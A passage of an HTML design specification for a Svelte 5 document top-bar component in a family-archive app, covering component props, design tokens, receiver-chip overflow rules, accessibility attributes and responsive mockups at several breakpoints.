<thead><tr><th>Component file</th><th>Props</th><th>Responsibility</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>DocumentTopBar.svelte</td><td><code>doc, canWrite, canAnnotate, fileUrl, annotateMode (bindable)</code></td><td>Orchestrator. Owns <code>overflowOpen: $state(false)</code>. Passes props down. Contains back link, title, action buttons.</td><td>Parent layout must wrap in <code><header></code>. No direct DOM measurement.</td></tr>
|
||||
<tr><td>PersonChipRow.svelte</td><td><code>sender, receivers, abbreviated: boolean</code></td><td>Chip row with arrow. Visible at ≥375px. Hidden at XS via <code>hidden xs:flex</code>.</td><td>Renders plain-text fallback slot at XS via parent.</td></tr>
|
||||
<tr><td>PersonChip.svelte</td><td><code>person, abbreviated: boolean</code></td><td>Single chip: avatar initials + name. Abbreviated = first initial + last name.</td><td>Avatar colour from <code>personAvatarColor(person.id)</code>.</td></tr>
|
||||
<tr><td>OverflowPill.svelte</td><td><code>extraCount, persons (for tooltip), open (bindable)</code></td><td>At ≥768px: interactive <code><button></code> with tooltip. At <768px: <code><span aria-hidden="true"></code> — non-interactive.</td><td><code>aria-haspopup="listbox"</code>, <code>aria-expanded</code>, <code>aria-label</code>. See tooltip rules.</td></tr>
|
||||
<tr><td>DocumentStatusChip.svelte</td><td><code>status: DocumentStatus</code></td><td>Dot-only indicator. Hidden below 768px. <code>title</code> + <code>aria-label</code> carry the label text.</td><td>No text label — removes i18n requirement.</td></tr>
|
||||
<tr><td>AnnotateHintStrip.svelte</td><td><code>annotateMode: boolean</code></td><td>18px strip below main row. Only rendered when <code>annotateMode === true</code> AND viewport ≥768px.</td><td>Use <code>{#if annotateMode}</code> — no CSS height animation. Hidden via parent responsive class.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Svelte state & derived values <span>Svelte 5 runes</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Value</th><th>Type</th><th>Implementation</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>overflowOpen</td><td><code>$state(false)</code></td><td><code>let overflowOpen = $state(false)</code></td><td>In DocumentTopBar. Passed as bindable to OverflowPill.</td></tr>
|
||||
<tr><td>visibleReceivers</td><td><code>$derived</code></td><td><code>$derived(doc.receivers.slice(0, viewportGe768 ? 2 : 1))</code></td><td>CSS-only: at <768px always 1 shown. At ≥768px show 2 if count==2, else 1. Use CSS to hide — no JS.</td></tr>
|
||||
<tr><td>extraCount</td><td><code>$derived</code></td><td><code>$derived(doc.receivers.length - visibleReceivers.length)</code></td><td>0 = no pill needed.</td></tr>
|
||||
<tr><td>formattedDate</td><td><code>$derived</code></td><td>See utility module — <code>formatDate(doc.documentDate, format)</code></td><td>Format switches via CSS responsive classes, not JS viewport check.</td></tr>
|
||||
<tr><td>xsMetaLine</td><td><code>$derived</code></td><td><code>$derived(formatXsMeta(doc))</code></td><td>Used only at XS. Import from <code>$lib/utils/personFormat</code>.</td></tr>
|
||||
<tr><td>annotateMode</td><td>bindable prop</td><td><code>let { annotateMode = $bindable(false) } = $props()</code></td><td>Parent page owns state. TopBar toggles it.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 1 — DESIGN TOKENS
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>1 · Design tokens</h2><p>All CSS custom properties used by the topbar. No hardcoded colours in any component — all must reference these tokens.</p></div>
|
||||
|
||||
<div style="display:grid;grid-template-columns:1fr 1fr;gap:16px;margin-bottom:20px">
|
||||
<div style="background:#fff;border:1px solid #E0DDD6;border-radius:6px;overflow:hidden">
|
||||
<div style="background:#F4F2EC;padding:8px 14px;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;border-bottom:1px solid #E0DDD6">Light theme</div>
|
||||
<table style="width:100%;border-collapse:collapse;font-size:11px">
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700;width:160px">bg-surface</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#fff;border:1px solid #DDD;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#FFFFFF — topbar bg</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">border-line</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#E4E2D8;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#E4E2D8 — bottom border, dividers, chip borders</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">bg-primary</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#012851;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#012851 — accent bar (light), primary btn, avatars</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">text-primary-fg</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#A1DCD8;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#A1DCD8 — text on navy bg</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">text-ink</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#1A1A1A;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#1A1A1A — title, chip names</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">text-ink-2</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#AAA;border:1px solid #EEE;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#AAAAAA — date, meta (spec ink-3 mapped here)</td></tr>
|
||||
<tr style="border-bottom:1px solid #F0EEE8"><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">bg-muted</td><td style="padding:6px 14px"><span style="display:inline-block;width:12px;height:12px;background:#F0EFE9;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#F0EFE9 — chip bg, back btn bg at XS</td></tr>
|
||||
<tr><td style="padding:6px 14px;color:#888;font-size:9px;font-weight:700">Accent bar</td><td style="padding:6px 14px"><code style="font-size:9px;background:#F0EFE9;padding:1px 4px;border-radius:2px">border-l-[3px] border-primary</code> — always present, all breakpoints</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div style="background:#0F1923;border:1px solid #1E2D3D;border-radius:6px;overflow:hidden">
|
||||
<div style="background:#0A1218;padding:8px 14px;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#4E6070;border-bottom:1px solid #1E2D3D">Dark theme</div>
|
||||
<table style="width:100%;border-collapse:collapse;font-size:11px">
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700;width:160px">bg-surface</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#0F1923;border:1px solid #1E2D3D;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#0F1923</td></tr>
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">border-line</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#1E2D3D;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#1E2D3D</td></tr>
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">Accent bar (dark)</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#A1DCD8;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#A1DCD8 — teal replaces navy for accent bar</td></tr>
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">text-ink</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#EAE8E2;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#EAE8E2 — title</td></tr>
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">text-ink-2 (meta)</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#3E5065;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#3E5065 — date, meta</td></tr>
|
||||
<tr style="border-bottom:1px solid #1A2830"><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">Chip bg</td><td style="padding:6px 14px;color:#8AAABB"><span style="display:inline-block;width:12px;height:12px;background:#0A1218;border:1px solid #1E2D3D;border-radius:2px;vertical-align:middle;margin-right:6px"></span>#0A1218 · border #1E2D3D</td></tr>
|
||||
<tr><td style="padding:6px 14px;color:#4E6070;font-size:9px;font-weight:700">Primary btn (dark)</td><td style="padding:6px 14px;color:#8AAABB">bg #A1DCD8 · text #012851 — inverted</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Design Tokens <span>Real values · CSS custom properties</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Token / concern</th><th>Tailwind class</th><th>CSS var</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Accent bar</td><td><code>border-l-[3px] border-primary</code></td><td><code>var(--color-primary)</code></td><td>Light: #012851. Dark: resolves to #A1DCD8 via theme. Never hardcode.</td></tr>
|
||||
<tr><td>Topbar bg</td><td><code>bg-surface</code></td><td><code>var(--color-surface)</code></td><td>Auto light/dark via CSS custom property.</td></tr>
|
||||
<tr><td>Bottom border</td><td><code>border-b border-line</code></td><td><code>var(--color-line)</code></td><td>1px, both themes.</td></tr>
|
||||
<tr><td>Chip bg</td><td><code>bg-muted</code></td><td><code>var(--color-muted)</code></td><td>Light #F0EFE9, dark #0A1218.</td></tr>
|
||||
<tr><td>Chip border</td><td><code>border-line</code></td><td>—</td><td>Same token as bottom border.</td></tr>
|
||||
<tr><td>Hint strip bg (light)</td><td><code>bg-[rgba(1,40,81,0.05)]</code></td><td>—</td><td class="ir-warn">⚠ --color-primary must be RGB format (1 40 81) for bg-primary/5 to work. If hex, use explicit rgba fallback.</td></tr>
|
||||
<tr><td>Hint strip bg (dark)</td><td><code>dark:bg-[rgba(161,220,216,0.04)]</code></td><td>—</td><td>Use explicit rgba. Verify --color-primary-fg is also RGB.</td></tr>
|
||||
<tr><td>Avatar palette</td><td>inline style only</td><td>—</td><td>5 values: <code>['#012851','#5A3080','#007596','#2A6040','#803020']</code>. Index = <code>hash(id) % 5</code>.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 2 — OVERFLOW PATTERNS (visual)
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>2 · Receiver overflow patterns</h2><p>Rule: always show sender + 1st receiver, collapse remaining. At <768px: max 1 receiver shown, overflow pill is a non-interactive span. At ≥768px: show 2 receivers if count==2 (no pill); show 1 + pill if count≥3.</p></div>
|
||||
|
||||
<div style="background:#fff;border:1.5px solid #E0DDD6;border-radius:6px;overflow:hidden;margin-bottom:20px">
|
||||
<div style="background:#F4F2EC;border-bottom:1px solid #E0DDD6;padding:7px 14px;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#012851">Light theme — all receiver counts</div>
|
||||
<div style="padding:16px 14px;display:flex;flex-direction:column;gap:14px">
|
||||
<div style="display:flex;align-items:center;gap:10px">
|
||||
<div style="font-size:8px;font-weight:700;color:#AAA;text-transform:uppercase;letter-spacing:.5px;width:90px;flex-shrink:0">0 receivers</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;padding:6px 10px;background:#FAFAF8;border:1px dashed #E0DDD6;border-radius:4px">
|
||||
<div class="chip"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
</div>
|
||||
<div style="font-size:9.5px;color:#999;font-style:italic">Sender only. No arrow. Diary entries, certificates.</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:10px">
|
||||
<div style="font-size:8px;font-weight:700;color:#AAA;text-transform:uppercase;letter-spacing:.5px;width:90px;flex-shrink:0">1 receiver</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;padding:6px 10px;background:#FAFAF8;border:1px dashed #E0DDD6;border-radius:4px">
|
||||
<div class="chip"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr" style="font-size:9px">→</span>
|
||||
<div class="chip"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
</div>
|
||||
<div style="font-size:9.5px;color:#999;font-style:italic">Both shown. No pill.</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:10px">
|
||||
<div style="font-size:8px;font-weight:700;color:#AAA;text-transform:uppercase;letter-spacing:.5px;width:90px;flex-shrink:0">2 receivers</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;padding:6px 10px;background:#FAFAF8;border:1px dashed #E0DDD6;border-radius:4px">
|
||||
<div class="chip"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr" style="font-size:9px">→</span>
|
||||
<div class="chip"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
<span style="font-size:8px;color:#DDD">·</span>
|
||||
<div class="chip"><div class="av teal" style="width:14px;height:14px;font-size:5px">HR</div><div class="cn" style="font-size:6.5px">Hans Raddatz</div></div>
|
||||
</div>
|
||||
<div style="font-size:9.5px;color:#999;font-style:italic">≥768px only: both shown, no pill. At <768px: collapse to 1st + "+1" span.</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:10px">
|
||||
<div style="font-size:8px;font-weight:700;color:#AAA;text-transform:uppercase;letter-spacing:.5px;width:90px;flex-shrink:0">3 receivers</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;padding:6px 10px;background:#FAFAF8;border:1px dashed #E0DDD6;border-radius:4px">
|
||||
<div class="chip"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr" style="font-size:9px">→</span>
|
||||
<div class="chip"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
<div class="ov" style="font-size:6.5px">+2 weitere</div>
|
||||
</div>
|
||||
<div style="font-size:9.5px;color:#999;font-style:italic">≥768px: "+2 weitere" interactive button. <768px: "+2" non-interactive span, aria-hidden.</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:10px">
|
||||
<div style="font-size:8px;font-weight:700;color:#AAA;text-transform:uppercase;letter-spacing:.5px;width:90px;flex-shrink:0">No sender</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;padding:6px 10px;background:#FAFAF8;border:1px dashed #E0DDD6;border-radius:4px">
|
||||
<div class="chip"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
</div>
|
||||
<div style="font-size:9.5px;color:#999;font-style:italic">First available person shown. No arrow. Photos, undated documents.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Chip & Overflow Logic <span>Real values · mockup above is ~55% scale</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>PersonChip container</td><td><code>inline-flex items-center gap-1 rounded-full border border-line bg-muted px-2 py-1 whitespace-nowrap shrink-0</code></td><td><span class="ir-px">h ~28px, px 8px, py 4px</span></td><td>Not interactive — no hover/focus styles needed.</td></tr>
|
||||
<tr><td>Avatar circle</td><td><code>flex w-[18px] h-[18px] shrink-0 items-center justify-center rounded-full text-[7px] font-bold</code></td><td><span class="ir-px">18×18px</span></td><td>bg from <code>personAvatarColor(id)</code> — inline style. text-primary-fg for navy bg, white for others.</td></tr>
|
||||
<tr><td>Chip name (full)</td><td><code>text-[9px] font-semibold text-ink</code></td><td><span class="ir-px">9px / 600</span></td><td class="ir-warn">⚠ Most commonly undersized — minimum 9px. Original spec said 6.5px — corrected.</td></tr>
|
||||
<tr><td>Chip name (abbreviated)</td><td><code>text-[9px] font-semibold text-ink</code></td><td><span class="ir-px">9px / 600</span></td><td>"K. Raddatz" format at <768px. Same styling as full name.</td></tr>
|
||||
<tr><td>Arrow between chips</td><td><code>text-ink-2 shrink-0 text-[11px]</code> aria-hidden="true"</td><td><span class="ir-px">11px</span></td><td>Unicode → (U+2192). aria-hidden always present.</td></tr>
|
||||
<tr><td>Overflow pill (≥768px)</td><td><code>inline-flex items-center rounded-full border border-line bg-muted px-2 py-1 text-[9px] font-bold text-ink-2 whitespace-nowrap shrink-0 min-h-[44px] md:min-h-0</code></td><td><span class="ir-px">9px / 700</span></td><td>Interactive button at ≥768px. Active state: <code>bg-primary border-primary text-primary-fg</code>.</td></tr>
|
||||
<tr><td>Overflow pill (<768px)</td><td><code>inline-flex items-center rounded-full border border-line bg-muted px-2 py-1 text-[9px] font-bold text-ink-2 whitespace-nowrap shrink-0</code></td><td><span class="ir-px">9px / 700</span></td><td><code><span aria-hidden="true"></code> — not a button. No tap behaviour.</td></tr>
|
||||
<tr><td>PersonChipRow wrapper</td><td><code>hidden xs:flex items-center gap-1.5 min-w-0 overflow-hidden</code></td><td>—</td><td>Hidden at XS (<375px). flex at ≥375px.</td></tr>
|
||||
<tr><td>XS plain-text meta</td><td><code>block xs:hidden text-[9px] text-ink-2 truncate mt-0.5</code></td><td><span class="ir-px">9px</span></td><td>Format: "K.Raddatz → E.Raddatz +4 · 24.12.1943". From <code>formatXsMeta(doc)</code>.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 3 — VIEWPORT MOCKUPS
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>3 · Viewport-by-viewport</h2><p>Visual reference for each breakpoint. See <a href="document-topbar-b1-responsive.html" style="color:#012851">B1 spec</a> for full set. Key states shown below.</p></div>
|
||||
|
||||
<!-- 320px -->
|
||||
<div style="margin-bottom:10px;font-size:11px;font-weight:700;color:#012851;border-left:3px solid #012851;padding-left:10px">320 px · XS Mobile</div>
|
||||
<div class="grid">
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">320px</span>Light</div>
|
||||
<div class="chrome" style="width:200px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav"><div class="nav-logo">FA</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#fff;border-bottom:1.5px solid #E4E2D8;border-left:3px solid #012851">
|
||||
<div style="display:flex;align-items:center;padding:0 9px;height:26px;gap:7px">
|
||||
<div style="width:24px;height:24px;border-radius:3px;background:#F0EFE9;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:5px;height:5px;border-left:1.5px solid #666;border-bottom:1.5px solid #666;transform:rotate(45deg);margin-left:1px"></div></div>
|
||||
<div style="flex:1;min-width:0">
|
||||
<div style="font-size:10px;font-weight:800;color:#012851;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Brief a. Großmutter</div>
|
||||
<div style="font-size:5.5px;color:#AAA;margin-top:1px">K.Raddatz → E.Raddatz · 24.12.1943</div>
|
||||
</div>
|
||||
<div style="width:14px;height:14px;border:1px solid #C8C4BE;border-radius:2px;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:6px;height:6px;border-left:1.5px solid #888;border-bottom:1.5px solid #888;position:relative"><div style="position:absolute;width:1.5px;height:5px;background:#888;top:-4px;left:1.5px"></div></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf" style="height:120px"><div class="paper" style="height:95px;width:80%"><div class="pl" style="width:65%"></div><div class="ps"></div><div class="ps" style="width:88%"></div><div class="ps" style="width:70%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">XS: square back btn, plain-text meta below title, icon-only edit button. No chips, no annotate, no download.</div>
|
||||
</div>
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">320px</span>Dark</div>
|
||||
<div class="chrome dark" style="width:200px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav dark"><div class="nav-logo">FA</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#0F1923;border-bottom:1.5px solid #1E2D3D;border-left:3px solid #A1DCD8">
|
||||
<div style="display:flex;align-items:center;padding:0 9px;height:26px;gap:7px">
|
||||
<div style="width:24px;height:24px;border-radius:3px;background:#0A1218;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:5px;height:5px;border-left:1.5px solid #4E6070;border-bottom:1.5px solid #4E6070;transform:rotate(45deg);margin-left:1px"></div></div>
|
||||
<div style="flex:1;min-width:0">
|
||||
<div style="font-size:10px;font-weight:800;color:#EAE8E2;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Brief a. Großmutter</div>
|
||||
<div style="font-size:5.5px;color:#3E5065;margin-top:1px">K.Raddatz → E.Raddatz · 24.12.1943</div>
|
||||
</div>
|
||||
<div style="width:14px;height:14px;border:1px solid #1E2D3D;border-radius:2px;display:flex;align-items:center;justify-content:center;flex-shrink:0;color:#4E6070"><div style="width:6px;height:6px;border-left:1.5px solid currentColor;border-bottom:1.5px solid currentColor;position:relative"><div style="position:absolute;width:1.5px;height:5px;background:currentColor;top:-4px;left:1.5px"></div></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf dark" style="height:120px"><div class="paper dark" style="height:95px;width:80%"><div class="pl"></div><div class="ps"></div><div class="ps" style="width:88%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">Dark XS: teal accent bar, icon-only edit, dark chip-less meta.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 375px -->
|
||||
<div style="margin:24px 0 10px;font-size:11px;font-weight:700;color:#012851;border-left:3px solid #012851;padding-left:10px">375 px · Standard Mobile</div>
|
||||
<div class="grid">
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">375px</span>Light · 1 receiver</div>
|
||||
<div class="chrome" style="width:230px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav"><div class="nav-logo">FA</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#fff;border-bottom:1.5px solid #E4E2D8;border-left:3px solid #012851">
|
||||
<div style="display:flex;align-items:center;padding:0 10px;height:30px;gap:8px">
|
||||
<div style="width:26px;height:26px;border-radius:50%;border:1.5px solid #E0DDD6;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:5px;height:5px;border-left:1.5px solid #666;border-bottom:1.5px solid #666;transform:rotate(45deg);margin-left:1px"></div></div>
|
||||
<div style="flex:1;min-width:0;display:flex;flex-direction:column;gap:2px">
|
||||
<div style="font-size:10.5px;font-weight:800;color:#012851;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Brief a. Großmutter, 1943</div>
|
||||
<div style="display:flex;align-items:center;gap:3px">
|
||||
<div class="chip" style="padding:1.5px 5px 1.5px 2px;gap:2px"><div class="av" style="width:12px;height:12px;font-size:4.5px">KR</div><div class="cn" style="font-size:6px">K. Raddatz</div></div>
|
||||
<span class="arr" style="font-size:8px">→</span>
|
||||
<div class="chip" style="padding:1.5px 5px 1.5px 2px;gap:2px"><div class="av purple" style="width:12px;height:12px;font-size:4.5px">ER</div><div class="cn" style="font-size:6px">E. Raddatz</div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div style="width:14px;height:14px;border:1px solid #C8C4BE;border-radius:2px;display:flex;align-items:center;justify-content:center;flex-shrink:0;color:#888"><div style="width:6px;height:6px;border-left:1.5px solid currentColor;border-bottom:1.5px solid currentColor;position:relative"><div style="position:absolute;width:1.5px;height:5px;background:currentColor;top:-4px;left:1.5px"></div></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf" style="height:130px"><div class="paper" style="height:103px;width:78%"><div class="pl" style="width:65%"></div><div class="ps"></div><div class="ps" style="width:88%"></div><div class="ps" style="width:70%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">375px: circle back btn, chip row with abbreviated names, icon-only edit. Annotate hidden.</div>
|
||||
</div>
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">375px</span>Light · 3+ receivers</div>
|
||||
<div class="chrome" style="width:230px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav"><div class="nav-logo">FA</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#fff;border-bottom:1.5px solid #E4E2D8;border-left:3px solid #012851">
|
||||
<div style="display:flex;align-items:center;padding:0 10px;height:30px;gap:8px">
|
||||
<div style="width:26px;height:26px;border-radius:50%;border:1.5px solid #E0DDD6;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:5px;height:5px;border-left:1.5px solid #666;border-bottom:1.5px solid #666;transform:rotate(45deg);margin-left:1px"></div></div>
|
||||
<div style="flex:1;min-width:0;display:flex;flex-direction:column;gap:2px">
|
||||
<div style="font-size:10.5px;font-weight:800;color:#012851;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Rundbrief, 1951</div>
|
||||
<div style="display:flex;align-items:center;gap:3px">
|
||||
<div class="chip" style="padding:1.5px 5px 1.5px 2px;gap:2px"><div class="av" style="width:12px;height:12px;font-size:4.5px">KR</div><div class="cn" style="font-size:6px">K. Raddatz</div></div>
|
||||
<span class="arr" style="font-size:8px">→</span>
|
||||
<div class="chip" style="padding:1.5px 5px 1.5px 2px;gap:2px"><div class="av purple" style="width:12px;height:12px;font-size:4.5px">ER</div><div class="cn" style="font-size:6px">E. Raddatz</div></div>
|
||||
<div class="ov" style="font-size:6px;padding:1.5px 5px">+2</div>
|
||||
</div>
|
||||
</div>
|
||||
<div style="width:14px;height:14px;border:1px solid #C8C4BE;border-radius:2px;display:flex;align-items:center;justify-content:center;flex-shrink:0;color:#888"><div style="width:6px;height:6px;border-left:1.5px solid currentColor;border-bottom:1.5px solid currentColor;position:relative"><div style="position:absolute;width:1.5px;height:5px;background:currentColor;top:-4px;left:1.5px"></div></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf" style="height:130px"><div class="paper" style="height:103px;width:78%"><div class="pl" style="width:65%"></div><div class="ps"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">375px overflow: "+2" is a non-interactive <span aria-hidden>. No "weitere" — no tooltip on mobile.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 768px Tablet -->
|
||||
<div style="margin:24px 0 10px;font-size:11px;font-weight:700;color:#012851;border-left:3px solid #012851;padding-left:10px">768 px · Tablet</div>
|
||||
<div class="grid">
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">768px</span>Light · 1 receiver</div>
|
||||
<div class="chrome" style="width:420px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav"><div class="nav-logo">FAMILIENARCHIV</div><div class="nav-link">Dokumente</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#fff;border-bottom:1.5px solid #E4E2D8;border-left:3px solid #012851;display:flex;align-items:center;padding:0 12px;height:30px;gap:10px">
|
||||
<div style="width:28px;height:28px;border-radius:50%;border:1.5px solid #E0DDD6;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:6px;height:6px;border-left:1.5px solid #666;border-bottom:1.5px solid #666;transform:rotate(45deg);margin-left:2px"></div></div>
|
||||
<div style="flex:1;min-width:0;display:flex;flex-direction:column;gap:3px">
|
||||
<div style="display:flex;align-items:center;gap:5px">
|
||||
<div style="font-size:11.5px;font-weight:800;color:#012851;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Brief an Großmutter, Weihnachten 1943</div>
|
||||
<div class="st-dot" style="width:6px;height:6px;flex-shrink:0" title="Hochgeladen"></div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px">
|
||||
<div style="font-size:6.5px;color:#AAA">24.12.1943</div>
|
||||
<span style="font-size:8px;color:#DDD">·</span>
|
||||
<div class="chip" style="padding:2px 6px 2px 3px"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr" style="font-size:9px">→</span>
|
||||
